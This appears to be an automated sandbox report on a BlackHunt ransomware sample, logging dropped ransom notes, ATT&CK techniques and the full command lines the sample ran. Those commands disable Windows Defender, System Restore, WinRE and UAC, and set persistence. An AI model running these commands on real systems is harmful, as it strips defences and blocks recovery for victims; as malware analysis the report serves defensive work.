File opened for modification	C:\Program Files\7-Zip\Lang\ca.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\Java\jre-1.8\lib\management\#BlackHunt_ReadMe.hta	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\VideoLAN\#BlackHunt_ReadMe.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\VideoLAN\VLC\locale\brx\#BlackHunt_ReadMe.hta	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\Java\jdk-1.8\include\win32\bridge\#BlackHunt_ReadMe.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\Java\jre-1.8\lib\ext\#BlackHunt_ReadMe.hta	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ca\#BlackHunt_Private.key	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\Java\jre-1.8\bin\plugin2\#BlackHunt_ReadMe.hta	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\VideoLAN\VLC\#BlackHunt_ReadMe.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\Java\jre-1.8\legal\jdk\#BlackHunt_ReadMe.hta	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\Reference Assemblies\#BlackHunt_ReadMe.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\server\#BlackHunt_ReadMe.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\applet\#BlackHunt_Private.key	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\dotnet\host\fxr\8.0.0\#BlackHunt_ReadMe.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\Java\jdk-1.8\#BlackHunt_ReadMe.hta	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\#BlackHunt_ReadMe.hta	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ga.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened for modification	C:\Program Files\7-Zip\Lang\gl.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\Java\jdk-1.8\legal\#BlackHunt_ReadMe.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\#BlackHunt_ReadMe.hta	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mk.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\#BlackHunt_ReadMe.hta	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\#BlackHunt_Private.key	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\unlimited\#BlackHunt_ReadMe.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\Java\jdk-1.8\lib\#BlackHunt_ReadMe.hta	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ky.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened for modification	C:\Program Files\7-Zip\Lang\yo.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bs\#BlackHunt_Private.key	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File opened for modification	C:\Program Files\7-Zip\Lang\co.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\Java\jdk-1.8\bin\#BlackHunt_ReadMe.hta	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\Reference Assemblies\#BlackHunt_Private.key	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\Uninstall Information\#BlackHunt_Private.key	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\VideoLAN\#BlackHunt_Private.key	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\Java\jdk-1.8\include\#BlackHunt_ReadMe.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\#BlackHunt_Private.key	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\Java\jre-1.8\lib\images\#BlackHunt_ReadMe.hta	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\VideoLAN\VLC\locale\am\#BlackHunt_ReadMe.txt	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\#BlackHunt_Private.key	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
6132	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
5424	vssadmin.exe
5556	vssadmin.exe
5572	vssadmin.exe
5564	vssadmin.exe
5544	vssadmin.exe
4620	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
216	taskkill.exe

Modifies registry class 9 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-996941297-2279405024-2328152752-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4532	PING.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
Token: SeRestorePrivilege	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
Token: SeBackupPrivilege	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
Token: SeTakeOwnershipPrivilege	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
Token: SeAuditPrivilege	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
Token: SeSecurityPrivilege	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
Token: SeIncBasePriorityPrivilege	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
Token: SeBackupPrivilege	848	vssvc.exe
Token: SeRestorePrivilege	848	vssvc.exe
Token: SeAuditPrivilege	848	vssvc.exe
Token: SeBackupPrivilege	3272	wbengine.exe
Token: SeRestorePrivilege	3272	wbengine.exe
Token: SeSecurityPrivilege	3272	wbengine.exe
Token: SeSecurityPrivilege	3116	wevtutil.exe
Token: SeBackupPrivilege	3116	wevtutil.exe
Token: SeSecurityPrivilege	5368	wevtutil.exe
Token: SeBackupPrivilege	5368	wevtutil.exe
Token: SeSecurityPrivilege	5356	wevtutil.exe
Token: SeBackupPrivilege	5356	wevtutil.exe
Token: SeSecurityPrivilege	3104	wevtutil.exe
Token: SeBackupPrivilege	3104	wevtutil.exe
Token: SeSecurityPrivilege	5696	wevtutil.exe
Token: SeBackupPrivilege	5696	wevtutil.exe
Token: SeDebugPrivilege	216	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4716 wrote to memory of 2900	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	93
PID 4716 wrote to memory of 2900	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	93
PID 4716 wrote to memory of 1552	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	187
PID 4716 wrote to memory of 1552	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	187
PID 4716 wrote to memory of 3256	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	95
PID 4716 wrote to memory of 3256	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	95
PID 4716 wrote to memory of 320	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	97
PID 4716 wrote to memory of 320	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	97
PID 4716 wrote to memory of 2280	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	98
PID 4716 wrote to memory of 2280	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	98
PID 3256 wrote to memory of 1916	3256	cmd.exe	101
PID 3256 wrote to memory of 1916	3256	cmd.exe	101
PID 4716 wrote to memory of 3284	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	102
PID 4716 wrote to memory of 3284	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	102
PID 4716 wrote to memory of 3632	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	109
PID 4716 wrote to memory of 3632	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	109
PID 2900 wrote to memory of 5040	2900	cmd.exe	104
PID 2900 wrote to memory of 5040	2900	cmd.exe	104
PID 4716 wrote to memory of 3264	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	105
PID 4716 wrote to memory of 3264	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	105
PID 4716 wrote to memory of 3124	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	108
PID 4716 wrote to memory of 3124	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	108
PID 4716 wrote to memory of 4356	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	110
PID 4716 wrote to memory of 4356	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	110
PID 4716 wrote to memory of 4004	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	112
PID 4716 wrote to memory of 4004	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	112
PID 4716 wrote to memory of 2320	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	115
PID 4716 wrote to memory of 2320	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	115
PID 4716 wrote to memory of 1296	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	113
PID 4716 wrote to memory of 1296	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	113
PID 4716 wrote to memory of 2576	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	114
PID 4716 wrote to memory of 2576	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	114
PID 4716 wrote to memory of 4392	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	124
PID 4716 wrote to memory of 4392	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	124
PID 1552 wrote to memory of 3020	1552	reg.exe	119
PID 1552 wrote to memory of 3020	1552	reg.exe	119
PID 4716 wrote to memory of 4100	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	121
PID 4716 wrote to memory of 4100	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	121
PID 4716 wrote to memory of 1248	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	127
PID 4716 wrote to memory of 1248	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	127
PID 4716 wrote to memory of 3820	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	128
PID 4716 wrote to memory of 3820	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	128
PID 4716 wrote to memory of 1956	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	143
PID 4716 wrote to memory of 1956	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	143
PID 4716 wrote to memory of 2148	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	130
PID 4716 wrote to memory of 2148	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	130
PID 4716 wrote to memory of 5064	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	132
PID 4716 wrote to memory of 5064	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	132
PID 4716 wrote to memory of 3684	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	138
PID 4716 wrote to memory of 3684	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	138
PID 4716 wrote to memory of 2452	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	135
PID 4716 wrote to memory of 2452	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	135
PID 4716 wrote to memory of 4988	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	137
PID 4716 wrote to memory of 4988	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	137
PID 4716 wrote to memory of 3620	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	139
PID 4716 wrote to memory of 3620	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	139
PID 4716 wrote to memory of 4340	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	144
PID 4716 wrote to memory of 4340	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	144
PID 320 wrote to memory of 1580	320	cmd.exe	147
PID 320 wrote to memory of 1580	320	cmd.exe	147
PID 4716 wrote to memory of 4320	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	149
PID 4716 wrote to memory of 4320	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	149
PID 4716 wrote to memory of 4336	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	148
PID 4716 wrote to memory of 4336	4716	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe	148

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe
"C:\Users\Admin\AppData\Local\Temp\5f61946d8406bb70362cf39953d84d86ed3028e0dd0f8426933aa03412ee2327.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:1552
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2900
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:5040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3256
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:320
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2280
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:1756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:3284
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:3264
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:3124
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:4460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:3632
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:4356
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:4004
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:1296
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2576
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2320
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4100
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:5192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:4392
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:1508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:1248
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3820
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:5472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2148
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:5484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:5064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:5804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2452
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
